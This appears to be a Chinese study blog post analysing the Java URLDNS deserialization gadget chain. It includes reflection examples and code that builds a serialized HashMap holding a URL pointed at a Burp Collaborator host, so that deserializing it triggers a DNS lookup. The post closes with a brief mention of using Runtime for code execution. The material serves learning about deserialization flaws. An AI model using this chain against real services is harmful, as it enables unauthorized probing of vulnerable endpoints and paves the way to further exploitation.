URLDNS链分析

java反序列化漏洞3

算是最简单的一条链了吧,学习资料:Java反序列化漏洞专题-基础篇(21/09/05更新类加载部分)_哔哩哔哩_bilibili

反射

person.java

package flection;

public class Person {

    public String name;
    protected String sex;
    private int age;

    public Person(){

    }
    public Person(String name , String sex, int age ){
        this.name = name;
        this.sex = sex;
        this.age = age;
    }

    public String toString(){
        return "Psrson{" +
                "name" + name + "\'" +
                ",sex=" + sex +
                ",age=" + age +
                "}";
    }

    public void action(String act){
        System.out.println(act);
    }
}

reflectiontest.java

package flection;

import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class reflectiontest {
    public static void main(String[] args) throws Exception{
        Person person = new Person();
        //整个Class类对象
        Class a = person.getClass();
        //开始操作Class

        //从原型class实例化对象
        Constructor person_constructor = a.getConstructor(String.class,String.class,int.class);  //选择合适的构造函数,根据参数类型选择构造函数
        Person p = (Person) person_constructor.newInstance("xxx","男",222);  //实例化一个类对象
        System.out.println(p);

        //获取类里面的属性
        //同时编辑多行 alt+shift+ins
 //      Field[] personfields = a.getFields();   //只能获得public类型的属性
 //      for(Field f:personfields){
 //          System.out.println(f);
 //      }
        Field[] personfields1 = a.getDeclaredFields();   //可以获取public,protected,private属性
        for(Field f:personfields1){
            System.out.println(f);
        }

        //获取特定的属性
        Field namefield = a.getDeclaredField("sex");
        //如果遇到private属性,需要用这个,表示可以修改;而public 和 protected可以直接修改
        //namefield.setAccessible(true);
        namefield.set(p,"aaa");
        System.out.println(p);

        //获取方法,调用方法
        //得到所有方法
   //     Method[] personmethods = a.getMethods();
   //     for(Method i:personmethods){
   //         System.out.println(i);
   //     }

        //得到特定的方法
        Method actionmethod  = a.getMethod("action", String.class);
        actionmethod.invoke(p,"aaas");
        System.out.println(p);
        //如果要调用私有方法,那么也是使用declared,还有setaccessible
    }
}

URL类开始的链子

image-20220317234631173

跟进URL类–>URL类的hash()方法–>URLStreamHandler类的hashCode()方法

如下,URL类中的hashCode方法

image-20220317234805813

跟进,hashCode方法,到URLStreamHandler类的hashCode()方法,里面有个getHostAddress()方法,可以进行DNS请求

image-20220317234906229

HashMap的put方法开始的链子

put()方法–>HashMap类的put方法中调用了hash()方法->HashMap类的hash()方法中调用了hashCode()方法

image-20220317235715009

但是根据

put的时候不想让他发起请求,将hashCode的值改为1234,然后执行,发现这次不会进行DNS请求了

 public static void main(String[] args) throws Exception{
        Student person = new Student("lihua",18);
        HashMap<URL,Integer> hashmap = new HashMap<URL,Integer>();
        //这里不要发起请求
        URL url = new URL("http://2x0sifnb7lr8z8mnjegue917lyrofd.burpcollaborator.net");

        /********反射*******/
        //将hashCode的值不改为*1
        Class c = url.getClass();
        Field hashcodefield = c.getDeclaredField("hashCode");
        hashcodefield.setAccessible(true);
        hashcodefield.set(url,1234);

        //将hashCode的值改为-1,用到反射
        hashmap.put(url,1);
     hashcodefield.set(url,-1);
        //System.out.println(person);
        serialize(hashmap);
    }

序列化执行,还是没有DNS请求

image-20220318000111254

然后进行反序列化,发现有DNS请求的

import java.io.*;

public class unserializetest {
    public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        System.out.println("2222");
        Object oo = ois.readObject();
        return oo;
    }
    //从a.bin中反序列化进行读取
    public static void main(String[] args) throws Exception{
        unserialize("a.bin");
    }
}

image-20220318000505143

debug一下,发现反序列化的时候,hachCode的值是-1

image-20220318000632016

回过头来分析

我们是想整个ssrf的,而在URL类的hashCode()方法

    public synchronized int hashCode() {
        if (hashCode != -1)
            return hashCode;

        hashCode = handler.hashCode(this);
        return hashCode;
    }

跟进hashCode(this),

  protected int hashCode(URL u) {
        int h = 0;

        // Generate the protocol part.
        String protocol = u.getProtocol();
        if (protocol != null)
            h += protocol.hashCode();

        // Generate the host part.
        InetAddress addr = getHostAddress(u);
        if (addr != null) {
            h += addr.hashCode();
        } else {
            String host = u.getHost();
            if (host != null)

其中有个getHostAddress()可以进行DNS请求,这就是我们的目标

URL.hashCode,但是正常的执行是不能的

在HashMap类中,有个put方法,跟进

public V put(K key, V value) {
        return putVal(hash(key), key, value, false, true);
    }

再跟进hash(key),发现其参数为Object key,调用了key.hashCode方法

    static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }

到这里,我们就明白了,整一手狸猫换太子,将put()方法里面的参数K key定为一个URL类对象,所以执行key.hashCode()就是执行URL.hashCode(),即可进行DNS请求

为什么我们要从HashMap类作为入口类呢?

因为HaspMap的readObject()方法,可以传入一个

    private void readObject(ObjectInputStream s)

而URL类的readObject()方法中没有可以调用的函数

readObject()方法反序列化的时候自动调用

最后

Class是可以序列化的,可以用来引入不能序列化的类

比如Runtime,弹计算器

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值